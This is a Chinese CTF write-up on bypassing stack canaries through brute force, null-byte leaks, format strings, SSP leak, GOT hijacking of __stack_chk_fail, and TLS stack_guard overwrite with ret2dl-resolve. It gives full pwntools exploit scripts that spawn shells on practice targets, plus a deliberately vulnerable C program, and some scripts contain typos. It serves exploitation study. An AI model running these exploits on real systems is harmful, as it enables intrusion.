Canary解决姿势 被折磨的有点难受 找个时间来斩杀(bushi)又是被虐的一天~
有问题请指正~ ❀获取例题请在评论区留言或私信我 ⭐
一、canary爆破 标志提示就算fork函数吧 多线程开攻
【funcannary】 *
(1)先运行一下 peda配套checksec 根据题目提示’have fun’和’welcome’在爆破的exp中会用作于覆盖节点
发现Canary和PIE都开 准备好爆破(如果有可以利用的字符串canary也可以绕过) 对应随机化 后续在IDA中只能利用其地址计算偏移
(2)进IDA
fork接口 == canary爆破(多线程)
发现函数入口为0x122D 并且发现”/bin/cat flag” 接下来找溢出位置爆破cannary
明显溢出 定位该函数sub_128A(爆破canary的位置)爆破成功后爆返回地址 (爆canary地址的下一位)
函数入口为0x122D shell返回地址为1329 偏移为0xfc(0x1329-0x122D) 覆盖的buf大小为0x68
tips 【1】canary大小为0x00-0xff 所以爆破时每字节需循环257次 又因为canary低三位定为\x00(32位爆破循环3次 64位循环7次)此处需循环7次 【2】程序入口点一般都是整数,即地址最低位为00,也就是这里的地址,0x29是可信的。就只要爆破后一位就OK,再后面的地址都相同,爆不爆都一样。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import * context.arch = 'amd64' context.os = 'linux' context.log_level = 'debug' p = process("./fun" ) p.recvuntil(b'welcome\n' ) canary = b'\x00' for k in range (7 ): info(f'No:{K+1 } start,finding...' ) for i in range (256 ): p.send(b'a' *(0x70 -8 )+cannary+btyes([i])) recv = p.recvuntil(b'welcome\n' ) if b"have fun" in recv: cannary += bytes ([i]) success(f"canary => {canary.hex ()} " ) break re_1 = 0x29 re_2 = 0 info('finding:re_2 ...' ) for re_i in range (0x100 ): payload = b'a' * 0x68 + canary + b'A' * 8 + p8(re_1) + p8(re_i) p.send(payload) recv = p.recvuntil(b"welcome\n" ) if b"have fun" in recv: re_2 = re_i success(f"re_2 => {hex (re_2)} " ) break payload = b'a' * (0x70 -8 ) + canary + b'A' * 8 + p8(re_1 - 1 ) + p8(re_2 - 1 ) p.send(payload) p.interactive()
二、覆盖截断字符(\x00)获取canary 思路: $构造第一次溢出,覆盖canary的低字节\x00,读出canary的值. $构造第二次溢出,利用获取的canary构造payload,get shell. 【babypie】 (1)checksec
(2)IDA
两次read溢出
NX打开有可利用的system(”/bin/sh”) PIE打开后低地址始终不变,可以碰运气(buhsi(●’◡’●))
canary以\x00结尾(为防止被读出)那我们就溢出覆盖\x00再通过print函数打印出canary
0x30-0x8 = 40,再+1覆盖\x00 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *sh = remote('node4.buuoj.cn' ,29536 ) payload = b'a' * 0x29 sh.sendafter(b'Input your Name:\n' ,payload) sh.recv(6 + 40 ) canary = u64(sh.recv(8 )) & (0xffffffffffffff00 ) log.success('canary:%x \n' ,canary) payload = b'a' * 40 + p64(canary) + p64(0 )+ b'\x42' sh.send(payload) sh.interactive()
三、利用格式化字符串获取canary 格式化字符串可以打印出栈中内容,目标利用此漏洞打印出canary值,再利用溢出进行攻击. 【Mary_Morton】 (1)checksec
(2)IDA
快乐
计算偏移喽
buf与canary距离 0x90 - 0x8 = 0x88(136) 2^8+1 = 17个内存单元
canary与printf格式化字符串形参相对偏移为17+6 = 23
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) p=remote("61.147.171.105" ,63174 ) p.sendlineafter("battle \n" ,"2" ) p.sendline("%23$p" ) tmp=int (p.recv(),16 ) canary=p64(tmp) payload=b"a" *(0x88 )+canary+p64(0 )+p64(0x4008DA ) p.sendlineafter("3." ,"1" ) p.sendline(payload) p.interactive()
四、SSP Leak利用canary 思路: $canary检测失败会触发stack_chk_fali函数造成stack smashing(stack smashing protect leak) $stack_chk_fail函数会输出一段报错显示文件名,覆盖文件名指针,从而实现任意读也就是覆盖变量__libc_argv[0] $利用相应函数进行溢出(puts、read、write)得到libcbase 得出关键地址进行攻击
1 2 3 4 5 6 7 8 9 10 11 12 void __attribute__ ((noreturn )) __stack_chk_fail (void ){ __fortify_fail ("stack smashing detected" ); } void __attribute__ ((noreturn )) internal_function __fortify_fail (const char *msg){ while (1 ) __libc_message (2 , "*** %s ***: %s terminatedn" , msg, __libc_argv[0 ] ?: "<unknown>" ); }
覆盖到argv就可输出我们想要的参数(即利用了canary的报错信息)
不同的libc对于__fortify_fail实现有差异,下面是glibc的实现github源码:glibc/debug/fortify_fail.c 【2018网鼎杯 Guess】 (1)checsksec
(2)IDA分析
(3)利用stack samshing原理 gdb调试找到argv[0]计算偏移 通过覆盖libc_argv[0]的内容触发canary保护将覆盖内容进行输出
在main函数位置下断点 rsi处为argv[0]地址(0x7fffffffdfc87) libc中有一个变量environ,储存着栈地址 只要得到libc基址,就可以算出这个变量的地址,再次用__stack_chk_fail读取这个变量就可以得到栈的一个地址,就能计算出读进来的flag的地址,从而再次用stack smash读取flag
第一次,我们泄露函数的got表内容,得到glibc地址。得到glibc地址,是为了计算出stack_end变量的地址,进而,第二次,我们泄露栈地址,计算出flag存放的地址,于是,第三次,我们就可以泄露flag的值。
gets函数下断点 调试计算偏移0xfc8-0xea0(0x128)【还需进一步深入理解】
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *from LibcSearcher import *context.log_level = 'debug' elf = ELF('./GUESS' ) io = remote('node4.buuoj.cn' ,27922 ) puts_got = elf.got['puts' ] def leak_addr (content ): io.recvline() io.sendline(content) io.recvuntil('*** stack smashing detected ***: ' ) addr = u64(io.recv(6 ).ljust(8 ,b'\x00' )) return addr payload1 = b'a' *0x128 +p64(puts_got) puts_plt = leak_addr(payload1) print ("puts_plt----->" + hex (puts_plt))libc = LibcSearcher("puts" ,puts_plt) libc_base = puts_plt - libc.dump("puts" ) print ("libc_base----->" + hex (libc_base))environ = libc.dump('__environ' ) + libc_base payload2 = b'a' *0x128 + p64(environ) environ_addr = leak_addr(payload2) print ("enviorn in stack----->" + hex (environ_addr))payload3 = b'a' *0x128 + p64(environ_addr-0x168 ) io.sendlineafter('Please type your guessing flag\n' ,payload3) print (io.recvline())
五、劫持stack_chk_fail函数泄露canary 思路:劫持stack_chk_fail,可以修改全局偏移表(GOT)中存储的_stack_chk_fail函数地址,在触发canary检查失败时,跳转到指定的地址继续执行.
百度杯flagen其实可以做更好的栗子 目前暂未获取到相关文件 以后有机会填坑😊
有相关文章[(12条消息) [pwn]ROP:三道题讲解花式绕过Canary栈保护_breezeO_o的博客-CSDN博客](https://blog.csdn.net/Breeze_CAT/article/details/100086513?ops_request_misc=%7B%22request%5Fid%22%3A%22168796009416800197015252%22%2C%22scm%22%3A%2220140713.130102334.pc%5Fall.%22%7D&request_id=168796009416800197015252&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-4-100086513-null-null.142^v88^control_2,239^v2^insert_chatgpt&utm_term=百度杯 flagen&spm=1018.2226.3001.4187)
自己整个小简单🤖漏洞代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> void shell (void ) { system("/bin/sh" ); } int main (int argc, char *argv[]) { setbuf(stdin , NULL ); setbuf(stdout , NULL ); setbuf(stderr , NULL ); char buf[175 ]; read(0 , buf, 275 );#栈溢出 printf (buf); return 0 ; }
要想成功劫持函数修改got表 需关闭relro 调用shell函数需要关闭pie
1 gcc a .c -m32 -fstack-protector -no-pie -z noexecstack -z norelro -o a
exp:
1 2 3 4 5 6 7 8 9 10 from pwn import *import timecontext(os='linux' , arch='i386' , log_level='debug' ) sh=process('a' ) offset=10 scf_got=ELF('a' ).got['__stack_chk_fail' ] gs_addr=ELF('a' ).sym['getshell' ] exp=fmtstr_payload(offset, {scf_got: gs_addr}) sh.send(exp+'A' *100 ) sh.interactive()
乐乐乐 找到文件了 【flagen】 got表覆写原理 (1)checksec
(2)IDA
此部分会将输入部分变长(1个字节变成3个字节),其中dest为指向堆缓冲区的指针,在调用leetify()时,其值将被压入栈中,由于该函数存在栈溢出漏洞,攻击者可以利用这个漏洞覆盖掉dest的值为指定地址,在后续调用strcpy()时,实现向任意地址写的目的。 我们可以将dest覆盖为stack_chk_fail函数在got表中的地址,达到修改stack_chk_fail函数调用地址的目的,这样后续在调用该函数时,实际上执行的是攻击者的代码。又因为canary存在\x00截断,需寻找合适的函数进行输入.
还是通过泄露libcbase getshell
1 2 3 4 5 6 libc=LibcSearcher('alarm' ,alarm) system=alarm-libc.dump('alarm' )+libc.dump('system' ) malloc_hook=alarm-libc.dump('alarm' )+libc.dump('__malloc_hook' ) print ('malloc_hook' ,hex (malloc_hook))p.sendline('/bin/sh\x00' ) p.sendline(p32(system))
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *from LibcSearcher import *context.log_level='debug' elf=ELF('./flagen' ) def input (p,input ): p.sendlineafter(': ' ,'1' ) p.sendline(input ) def up (p ): p.sendlineafter(': ' ,'2' ) def low (p ): p.sendlineafter(': ' ,'3' ) def change (p ): p.sendlineafter(': ' ,'4' ) def addprefix (p ): p.sendlineafter(': ' ,'5' ) def prin (p ): p.sendlineafter(': ' ,'6' ) def exit (p ): p.sendlineafter(': ' ,'7' ) puts=0x08048510 ret=0x0804846a stack_check=0x0804B01C pop_1=0x08048481 pop_2=0x08048b00 pop_3=0x08048d8d bss=0x804b144 +0x8 a=0x08048F60 read=0x080486CB p=process('./flagen' ) payload=p32(ret)+b'h' *0x55 +'a' *8 +b'a' *5 +p32(pop_1)+p32(stack_check) payload+=p32(puts)+p32(pop_1)+p32(elf.got['free' ]) payload+=p32(read)+p32(pop_3)+p32(bss+0x100 )+p32(0x6fffffff )+p32(0xffffffff ) payload+=p32(read)+p32(pop_3)+p32(elf.got['free' ])+p32(0x6fffffff )+p32(0xffffffff ) payload+=p32(elf.plt['free' ])+p32(pop_1)+p32(bss+0x100 ) input (p,payload)change(p) alarm=u32(p.recv()[4 :8 ].ljust(4 ,'\x00' )) libc=LibcSearcher('alarm' ,alarm) system=alarm-libc.dump('alarm' )+libc.dump('system' ) malloc_hook=alarm-libc.dump('alarm' )+libc.dump('__malloc_hook' ) print ('malloc_hook' ,hex (malloc_hook))p.sendline('/bin/sh\x00' ) p.sendline(p32(system)) p.interactive() p.close()
六、修改TSL绕过canary 在linux下有一种线程局部存储(Tread Local Storage)机制,即TLS. 存储线程的一些全局变量. 结构:
1 2 3 4 5 6 7 8 9 10 11 12 13 typedef struct { void *tcb; dtv_t *dtv; void *self; int multiple_threads; int gscope_flag; uintptr_t sysinfo; uintptr_t stack_guard; uintptr_t pointer_guard; ... } tcbhead_t ;
注意:结构中uintptr_t stack_guard就是canary值,利用漏洞篡改stack_guard值即可绕过canary,而gs或fs寄存器指向此结构.
【bfnote】
(1)checksec
(2)进IDA
漏洞:【1】s溢出0x600 【2】v4进行初始化,检测限制了输入长度,而利用时并非利用了检测完成的值,利用了检测前的值,使得我们拥有一次在任意地址写入长度的能力
gs寄存器指向的位置实际上就是内存中某处的tcbhead_t,而后面的0x14指的是stack_guard相对的偏移,那么tcbhead_t到底存储在哪,每个libc不同,但是对于pwn题经常使用的lib来说,其分布基本如图所示
在libc地址更下位置和mmap一样同属共享映射区域,偏移相对固定.当我们malloc一个相当大的空间(此题>=0x20000),mallod就会用mmap来分配内存空间,其分配位置也会位于共享映射区域,依据mmap机制,其恰好处于tcbhead_r地址的低地址处,此时利用第二个漏洞写入可修改canary的值,从而实现绕过.(12条消息) Linux系统mmap内存映射机制原理_seqiqi_菠萝-琪琪的博客-CSDN博客
(3)ret2dl-resolve机制利用(延迟绑定应用) 利用的两种结构Sym(x86为Elf32_Sym x64为Elf64_Sym) 、Rel(x86为Elf32_Rel x64为Elf64_Rel)
Sym基本结构
1 2 3 4 5 6 7 8 9 typedef struct { Elf32_Word st_name; Elf32_Addr st_value; Elf32_Word st_size; unsigned char st_info; unsigned char st_other; Elf32_Section st_shndx; }Elf32_Sym;
1 2 3 4 5 6 7 8 9 struct Elf64_Sym { Elf64_Word st_name; unsigned char st_info; unsigned char st_other; Elf64_Section st_shndx; Elf64_Addr st_value; Elf64_Xword st_size; };
Rel基本结构
1 2 3 4 5 6 typedef struct { Elf32_Addr r_offset; Elf32_Word r_info; } Elf32_Rel;
1 2 3 4 5 6 7 typedef struct { Elf64_Xword r_offset; Elf64_Xword r_info; Elf64_Sxword r_addend; } Elf64_Rel;
一般x64选择gadget进行攻击 此题也为32位 故以下详细介绍32位使用ret2dl-resolve攻击方法
32位延迟绑定具体流程 *第一个push的值实际上是对应的Rel和.dynrel的相对偏移 *jmp跳转到第一个第一个push偏移对应的Rel结构,取出里面的info中包含的sym结构的下标,找到对应的sym中的字符串的地址,从而解析到这个名称为该字符串的函数,将其地址写入rel第一项的地址中。此时,将栈清空到一开始push的两个值之前,从而正常执行对应的字符串的函数即可。
我们的ret2dl-resolve实际上设置为.got.plt0 对应的地址即可,从而他解析完成后会继续按照给定的参数执行。tip 中间的空白,作为gap,是因为执行的时候最后有栈地址的变化,若无gap作为阻隔,可能栈的变化会覆盖掉一些重要的数据,从而导致程序崩溃,所以需要留有一定的gap作为栈空间变化的gap
(4)漏洞利用 观察主函数发现一共进行了三次输入: 【1】修改canary、最终的返回地址及栈地址(可看汇编) 【2】伪造了一个shellcode 【3】使用TSL,绕过canary
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *r = remote("node4.buuoj.cn" , 25009 ) elf = ELF("./bfnote" ) bss_start = 0x0804A060 gap = 0x500 stack_overflow = b'a' * (0x3e - 0xc + 0x8 ) + p64(bss_start + gap + 0x4 ) r.recvuntil('Give your description : ' ) r.send(stack_overflow) r.recvuntil('Give your postscript : ' ) fake_sym = p32(bss_start + gap + 0x4 * 4 + 0x8 - 0x80482C8 ) + p32(0 ) + p32(0 ) + p32(0x12 ) fake_rel = p32(bss_start) + p32(0x7 + int ((bss_start + gap + 0x4 * 4 + 0x8 + 0x8 + 0x8 - 0x080481D8 ) / 0x10 ) * 0x100 ) r.send(b'\x00' * gap + p32(0x08048450 ) + p32(bss_start + gap + 0x4 * 4 + 0x8 * 2 - 0x080483D0 ) + p32(0 ) + p32(bss_start + gap + 0x4 * 4 ) + b'/bin/sh\x00' + b'system\x00\x00' + fake_rel + fake_sym) r.recvuntil('Give your notebook size : ' ) r.send(str (0x20000 )) r.recvuntil('Give your title size : ' ) r.send(str (0xf7d22714 - 0xf7d01008 - 16 )) r.recvuntil('invalid ! please re-enter :\n' ) r.send(str (4 )) r.recvuntil('Give your title : ' ) r.send(b'a' ) r.recvuntil('Give your note : ' ) r.send(b'aaaa' ) r.interactive()
难难难 啃啃啃 明天又是新的一天⭐